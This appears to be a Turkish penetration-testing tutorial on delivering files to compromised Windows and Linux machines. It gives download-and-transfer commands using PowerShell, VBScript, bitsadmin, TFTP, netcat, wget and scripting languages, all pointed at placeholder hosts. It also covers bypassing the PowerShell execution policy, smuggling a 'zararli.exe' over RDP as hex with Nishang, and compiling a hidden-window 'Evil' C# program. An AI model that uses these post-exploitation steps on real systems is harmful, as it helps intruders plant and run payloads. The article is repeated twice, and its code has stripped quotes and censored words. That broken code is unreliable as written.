Sızma testlerinde hedef sistemin komut satırını ele geçirdiğiniz durumlarda hedef sisteme dosya aktarmak ve çalıştırmak için bazı pratik komutlara ihtiyacınız olacaktır.
Windows/Linux /*ni vb. sistemlerde hali hazırda kurulu gelen uygulamalar üzerinden aşağıdaki teknikleri kullanarak dosya aktarımı gerçekleştirebilirsiniz.
Hedef Makinanın Windows Olduğu Senaryolar
PowerShell ile dosya indirmek
Powershell Microsoftun Windows tabanlı işletim sistemlerinde kullanılması için çıkardığı bir komut satırıdır. Bu güne dek Microsoftun çıkartmış olduğu ürünlerin büyük bir kısmı grafiksel bir arayüzden yönetilmekteydi. Ancak Server 2008in kullanıma sunulmasıyla beraber Linux ve Unix tabanlı işletim sistemlerinde görülmeye alışkın olunan komut satırı artık Windows işletim sistemlerinde de mevcut hale geldi. Aşağıdaki örnekte basit bir script ile powershell kullanarak uzaktaki bir dosyanın nasıl indirebileceğini göreceksiniz.
Bu scripti bir dosyaya yazıp;
Scripti çalıştırmak için gereken komutu girelim.
Bazı kullanıcılar için powershell çalıştırma yetkileri kısıtlanmış olabilir. Dolayısıyla çalıştırmayı denediğinizde hata alabilirsiniz. Bu gibi durumlarda aşağıdaki komutu kullanarak çalıştırma yetkisini alabilirsiniz.
Visual Basic ile dosya indirmek
Visual Basic final sürümü olarak 1998 yılından itibaren Windows işletim sistemlerinde standart olarak yüklü gelmektedir. Aşağıdaki script ile belirtmiş olduğunuz dosyayı indirebilirsiniz. Script çıktısı powershell e nazaran biraz daha büyük.
İçeriği bir dosyaya kaydettikten sonra komut satırında aşağıdaki komutu girerek scripti çalıştırabilirsiniz.
TFTP ile dosya indirmek
TFTP (Trivial FTP) Windows Vista ve daha önceki sürümlerde standart olarak yüklüdür. Ancak uyumlu sunucu ile yapılandırmanız gerekmektedir. Bunun için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
Bitsadmin ile dosya indirmek
Bitsadmin Windows için geliştirilmiş, komut satırından çalışan dosya indirme-gönderme görevleri oluşturmanızı sağlayan bir araçtır. Kullanmak için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
Windows Paylaş ile dosya indirmek
Windowsta paylaşılan klasörler uzakta bağlanılabilir. Bağlayıp sürücü harfi atandıktan sonra sürücü içeriği komutlar ile kopyalanabilir.
Uzaktaki sürücüyü bağlamak için aşağıdaki komutu girmeniz yeterlidir.
PowerShell ve Nishang ile Exeden Txtye, Txtden Exeye
Nishang exe uzantılı dosyayı hex koduna çevirebilmemize olanak sağlıyor. Daha sonra PowerShell ile hexi tekrar orijinal exeye dönüştürebiliyoruz. Karşılaşmış olduğumuz makinalarda Uzak Masaüstü Bağlantısında exe transferi gerçekleştirilemeyen durumlar oluyordu. Bu, temel düzeyde koruma sağlıyor olsa da kopyalanan içeriği önbelleğe alıp aktarma işlemini gerçekleştirebiliyoruz. Bu şekilde bir senaryo ile karşı karşıya olduğumuz durumlarda Nishang ile aktarmak istediğimiz exeyi hexe çevirip bunu uzaktaki makinaya kopyaladıktan sonra .ps1 uzantılı olarak kaydediyoruz. Kopyalamamız gereken nishang scripti TexttoExe.ps1 ve sadece 8 satır uzunluğunda. Nishang i buradan indirebilirsiniz.
Exeden Hexe çevirmek için aşağıdaki kodu kullanabilirsiniz.
İşlem sonrasında zararli.txt dosyasını açıp içeriğini kopyalıyoruz. Daha sonra uzak masaüstü bağlantısı aracılığıyla uzaktaki makinada yapıştırıyoruz. Aynı işlemi TexttoExe.ps1 nishang scripti içinde uygulamamız gerekiyor.
Hex dosyasını tekrar exeye çevirmek için aşağıdaki komutu kullanmamız yeterli.
Bu işlem sonrasında zararli.exe dosyamız başarıyla uzaktaki makinamıza aktarılmış oluyor.
Csc.exe ile Kaynak Koddan dosya derlemek
Csc (C sharp derleyicisi) komut satırı üzerinden çalışan bir derleyicidir. Microsoft .NET içerisinde bulunur ve Windows ile birlikte yüklü olarak gelir. Metin kopyalayabiliyor fakat çalıştırılabilir bir dosya kopyalayamıyor olduğunuz durumlarda bu yöntem işinize yarayabilir. Bu yöntem SQL Injection ile birlikte kullanıldığında izin verilmiş proxye ihtiyacınız olmadan exe dosyasını kopyalayabilirsiniz.
Csc.exenin varsayılan olarak bulunduğu dizin;
Aşağıdaki örnek kodumuzda derlenmiş exe, cmd.exe kullanarak yerel bilgisayardaki kullanıcıları sorgulayacak ve sonrasında C:\Temp dizinine kullanicilar.txt dosyası oluşturup çıktıyı bu dosyaya yazdıracak. Bu örnekte çok basit bir sorgulama yapılmış olsada, bu yöntem ile kendi kodunuzu yazabilir, exploitinizi çalıştırabilirsiniz.
Kaynak kodu derlemek için;
Hedef Makinanın Linux ve Türevi Olduğu Senaryolar
Perl ile dosya indirmek
Perl hemen hemen herşey için kullanılabilen çok yönlü bir betik dilidir. Perl kullanarak kolay ve hızlıca uzaktaki bir dosyayı indirebilirsiniz.
Perl scriptini çalıştırmak için komut satırına aşağıdaki komutu girmeniz yeterlidir.
Pyton ile dosya indirmek
Python kodu okunabilirliği vurgulayan genel amaçlı bir betik dilidir. Basit sözdizimi yapısı sayesinde yapılmak istenen iş için en az kod kullanmayı hedeflemektedir. Aşağıdaki pyton kodunu kullanarak dosya indirmeyi sağlayabilirsiniz.
Aşağıdaki kod ile pyton scriptini çalıştırabilirsiniz.
Ruby ile dosya indirmek
Ruby geliştiricilerinin söylediğine göre, Verimlilik ve sadelik üzerine odaklanmış, açık kaynak kodlu dinamik bir dildir. Okumayı ve yazmayı kolaylaştıran, doğal bir sözdizimine sahiptir. Rubynin en göze çarpan özelliği nesne tabanlı olması ve bu sayede bir çok yapı ile (örn. ****sploit) birlikte kullanılabilmesidir.
Ruby scriptini çalıştırmak için aşağıdaki kodu komut satırına yazmanız yeterlidir
Php ile dosya indirmek
PHP genellikle sunucu tabanlı web programlama için kullanılsa da ihtiyaç olması durumunda basit bir script ile dosya indirme işlemi de yapabilirsiniz.
Çalıştırmak için komutu yazmanız yeterlidir.
Genellikle php ile dosya indirmelerde herhangi bir kısıtlama ile karşılaşmazsınız. Ancak bu tarz durumlarda 1-2 farklı adım ile bypass edilebilecek senaryolar geliştirebilirsiniz.
FTP ile dosya indirmek
Ftp ile dosya indirme işlemi yapılabilmesi için ECHO komutuyla bir bash script hazırlayıp kolayca işleminizi tamamlayabilirsiniz.
Wget ile dosya indirmek
Wget, Linux ve Windows tabanında etkileşimsiz indirme yapılmasına olanak sağlayan bir araçtır. Kullanımı çok basittir.
Netcat ile dosya indirmek
Netcat belirlenmiş bir port üzerinden dosya aktarımını destekler. Ancak bu örneğin Linuxa özel olduğunu unutmayın.
Bu komut localhostta 1234 portunu dinlemeye dosya içeriğini alıp ekrana yazdıracaktır. Daha sonra 1234 portuna bağlanıldığında dosyayı gönderecektir.
Alttaki komut ise hedef makinada çalıştırıldığında sizin dinlemeye aldığınız 1234 portuna bağlanıp dosya gönderimi tamamlanacaktır.
Perl, Python ve Ruby ile Windows sistemlerde dosta aktarımı mümkün, ancak öncesinde kurulmuş olması gerektiğinden Windows kategorisine eklemedim. Aynı şekilde wget başlığı altında her ne kadar Windows desteği olduğunu belirtmiş olsamda wgetin de daha önceden kurulmuş olması gereklidir.
Windows/Linux /*ni vb. sistemlerde hali hazırda kurulu gelen uygulamalar üzerinden aşağıdaki teknikleri kullanarak dosya aktarımı gerçekleştirebilirsiniz.
Hedef Makinanın Windows Olduğu Senaryolar
PowerShell ile dosya indirmek
Powershell Microsoftun Windows tabanlı işletim sistemlerinde kullanılması için çıkardığı bir komut satırıdır. Bu güne dek Microsoftun çıkartmış olduğu ürünlerin büyük bir kısmı grafiksel bir arayüzden yönetilmekteydi. Ancak Server 2008in kullanıma sunulmasıyla beraber Linux ve Unix tabanlı işletim sistemlerinde görülmeye alışkın olunan komut satırı artık Windows işletim sistemlerinde de mevcut hale geldi. Aşağıdaki örnekte basit bir script ile powershell kullanarak uzaktaki bir dosyanın nasıl indirebileceğini göreceksiniz.
Bu scripti bir dosyaya yazıp;
Kod:
$p = New-Object System.Net.WebClient
$p.DownloadFile(http://domain.com/deneme.txt C:\Users\Username\Desktop\deneme.txt)
Scripti çalıştırmak için gereken komutu girelim.
Kod:
PS C:\> .\bga.ps1
Bazı kullanıcılar için powershell çalıştırma yetkileri kısıtlanmış olabilir. Dolayısıyla çalıştırmayı denediğinizde hata alabilirsiniz. Bu gibi durumlarda aşağıdaki komutu kullanarak çalıştırma yetkisini alabilirsiniz.
Kod:
C:\>powershell set-executionpolicy unrestricted
Visual Basic ile dosya indirmek
Visual Basic final sürümü olarak 1998 yılından itibaren Windows işletim sistemlerinde standart olarak yüklü gelmektedir. Aşağıdaki script ile belirtmiş olduğunuz dosyayı indirebilirsiniz. Script çıktısı powershell e nazaran biraz daha büyük.
Kod:
Set args = Wscript.Arguments
Url = http://domain.com/deneme.txt
dim xHttp: Set xHttp = createobject(Microsoft.XMLHTTP)
dim bStrm: Set bStrm = createobject(Adodb.Stream)
xHttp.Open GET, Url, False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile C:\Users\Username\Desktop\deneme.txt, 2
end with
İçeriği bir dosyaya kaydettikten sonra komut satırında aşağıdaki komutu girerek scripti çalıştırabilirsiniz.
Kod:
C:\>cscript bga.vbs
TFTP ile dosya indirmek
TFTP (Trivial FTP) Windows Vista ve daha önceki sürümlerde standart olarak yüklüdür. Ancak uyumlu sunucu ile yapılandırmanız gerekmektedir. Bunun için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
Kod:
tftp -i host GET C:\Users\Username\Desktop\deneme.txt tftp_sunucusundaki_dosyanin_yeri
Bitsadmin ile dosya indirmek
Bitsadmin Windows için geliştirilmiş, komut satırından çalışan dosya indirme-gönderme görevleri oluşturmanızı sağlayan bir araçtır. Kullanmak için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
Kod:
bitsadmin /transfer n http://domain.com/deneme.txt c:\Users\Username\Desktop\deneme.txt
Windows Paylaş ile dosya indirmek
Windowsta paylaşılan klasörler uzakta bağlanılabilir. Bağlayıp sürücü harfi atandıktan sonra sürücü içeriği komutlar ile kopyalanabilir.
Uzaktaki sürücüyü bağlamak için aşağıdaki komutu girmeniz yeterlidir.
Kod:
net use x: \\127.0.0.1\paylasim /kullanici:domain.com\KullaniciID kullaniciparolasi
PowerShell ve Nishang ile Exeden Txtye, Txtden Exeye
Nishang exe uzantılı dosyayı hex koduna çevirebilmemize olanak sağlıyor. Daha sonra PowerShell ile hexi tekrar orijinal exeye dönüştürebiliyoruz. Karşılaşmış olduğumuz makinalarda Uzak Masaüstü Bağlantısında exe transferi gerçekleştirilemeyen durumlar oluyordu. Bu, temel düzeyde koruma sağlıyor olsa da kopyalanan içeriği önbelleğe alıp aktarma işlemini gerçekleştirebiliyoruz. Bu şekilde bir senaryo ile karşı karşıya olduğumuz durumlarda Nishang ile aktarmak istediğimiz exeyi hexe çevirip bunu uzaktaki makinaya kopyaladıktan sonra .ps1 uzantılı olarak kaydediyoruz. Kopyalamamız gereken nishang scripti TexttoExe.ps1 ve sadece 8 satır uzunluğunda. Nishang i buradan indirebilirsiniz.
Exeden Hexe çevirmek için aşağıdaki kodu kullanabilirsiniz.
Kod:
PS > .\ExetoText.ps1 zararli.exe zararli.txt
İşlem sonrasında zararli.txt dosyasını açıp içeriğini kopyalıyoruz. Daha sonra uzak masaüstü bağlantısı aracılığıyla uzaktaki makinada yapıştırıyoruz. Aynı işlemi TexttoExe.ps1 nishang scripti içinde uygulamamız gerekiyor.
Hex dosyasını tekrar exeye çevirmek için aşağıdaki komutu kullanmamız yeterli.
Kod:
PS > .\TexttoExe.ps1 zararli.text zararli.exe
Csc.exe ile Kaynak Koddan dosya derlemek
Csc (C sharp derleyicisi) komut satırı üzerinden çalışan bir derleyicidir. Microsoft .NET içerisinde bulunur ve Windows ile birlikte yüklü olarak gelir. Metin kopyalayabiliyor fakat çalıştırılabilir bir dosya kopyalayamıyor olduğunuz durumlarda bu yöntem işinize yarayabilir. Bu yöntem SQL Injection ile birlikte kullanıldığında izin verilmiş proxye ihtiyacınız olmadan exe dosyasını kopyalayabilirsiniz.
Csc.exenin varsayılan olarak bulunduğu dizin;
Kod:
C:\Windows\Microsoft.NET\Framework\version
Aşağıdaki örnek kodumuzda derlenmiş exe, cmd.exe kullanarak yerel bilgisayardaki kullanıcıları sorgulayacak ve sonrasında C:\Temp dizinine kullanicilar.txt dosyası oluşturup çıktıyı bu dosyaya yazdıracak. Bu örnekte çok basit bir sorgulama yapılmış olsada, bu yöntem ile kendi kodunuzu yazabilir, exploitinizi çalıştırabilirsiniz.
Kod:
public class Evil
{
public static **** Main()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = cmd.exe;
startInfo.Arguments = /C net users > C:\\Temp\\kullanicilar.txt;
process.StartInfo = startInfo;
process.Start();
}
}
Kaynak kodu derlemek için;
Kod:
csc.exe /out:C:\zararli\zararli.exe C:\zararli\zararli.cs
Hedef Makinanın Linux ve Türevi Olduğu Senaryolar
Perl ile dosya indirmek
Perl hemen hemen herşey için kullanılabilen çok yönlü bir betik dilidir. Perl kullanarak kolay ve hızlıca uzaktaki bir dosyayı indirebilirsiniz.
Kod:
#!/usr/bin/perl
use LWP::Simple;
getstore(http://domain.com/deneme.txt, deneme.txt);
Perl scriptini çalıştırmak için komut satırına aşağıdaki komutu girmeniz yeterlidir.
Kod:
root@onur:~# perl bga.pl
Pyton ile dosya indirmek
Python kodu okunabilirliği vurgulayan genel amaçlı bir betik dilidir. Basit sözdizimi yapısı sayesinde yapılmak istenen iş için en az kod kullanmayı hedeflemektedir. Aşağıdaki pyton kodunu kullanarak dosya indirmeyi sağlayabilirsiniz.
Kod:
#!/usr/bin/python
import urllib2
u = urllib2.urlopen(http://domain.com/deneme.txt)
localFile = open(local_file, w)
localFile.write(u.read())
localFile.close()
Aşağıdaki kod ile pyton scriptini çalıştırabilirsiniz.
Kod:
root@sesa:~# python bga.py
Ruby ile dosya indirmek
Ruby geliştiricilerinin söylediğine göre, Verimlilik ve sadelik üzerine odaklanmış, açık kaynak kodlu dinamik bir dildir. Okumayı ve yazmayı kolaylaştıran, doğal bir sözdizimine sahiptir. Rubynin en göze çarpan özelliği nesne tabanlı olması ve bu sayede bir çok yapı ile (örn. ****sploit) birlikte kullanılabilmesidir.
Kod:
#!/usr/bin/ruby
require net/http
Net::HTTP.start(www.domain.com) { |http|
r = http.get(/file)
open(save_********, wb) { |file|
file.write(r.body)
}
}
Ruby scriptini çalıştırmak için aşağıdaki kodu komut satırına yazmanız yeterlidir
Kod:
root@sesa:~# ruby bga.rb
Php ile dosya indirmek
PHP genellikle sunucu tabanlı web programlama için kullanılsa da ihtiyaç olması durumunda basit bir script ile dosya indirme işlemi de yapabilirsiniz.
Kod:
#!/usr/bin/php
<?php
$data = @file(http://domain.com/deneme.txt);
$lf = local_file;
$fh = fopen($lf, w);
fwrite($fh, $data[0]);
fclose($fh);
?>
Çalıştırmak için komutu yazmanız yeterlidir.
Kod:
root@sesa:~# php bga.php
Genellikle php ile dosya indirmelerde herhangi bir kısıtlama ile karşılaşmazsınız. Ancak bu tarz durumlarda 1-2 farklı adım ile bypass edilebilecek senaryolar geliştirebilirsiniz.
FTP ile dosya indirmek
Ftp ile dosya indirme işlemi yapılabilmesi için ECHO komutuyla bir bash script hazırlayıp kolayca işleminizi tamamlayabilirsiniz.
Kod:
ftp 127.0.0.1
username
password
get file
exit
Wget ile dosya indirmek
Wget, Linux ve Windows tabanında etkileşimsiz indirme yapılmasına olanak sağlayan bir araçtır. Kullanımı çok basittir.
Kod:
wget http://domain.com/deneme.txt
Netcat ile dosya indirmek
Netcat belirlenmiş bir port üzerinden dosya aktarımını destekler. Ancak bu örneğin Linuxa özel olduğunu unutmayın.
Kod:
cat file | nc -l 1234
Bu komut localhostta 1234 portunu dinlemeye dosya içeriğini alıp ekrana yazdıracaktır. Daha sonra 1234 portuna bağlanıldığında dosyayı gönderecektir.
Alttaki komut ise hedef makinada çalıştırıldığında sizin dinlemeye aldığınız 1234 portuna bağlanıp dosya gönderimi tamamlanacaktır.
Kod:
nc host_ip 1234 > deneme.txt
Perl, Python ve Ruby ile Windows sistemlerde dosta aktarımı mümkün, ancak öncesinde kurulmuş olması gerektiğinden Windows kategorisine eklemedim. Aynı şekilde wget başlığı altında her ne kadar Windows desteği olduğunu belirtmiş olsamda wgetin de daha önceden kurulmuş olması gereklidir.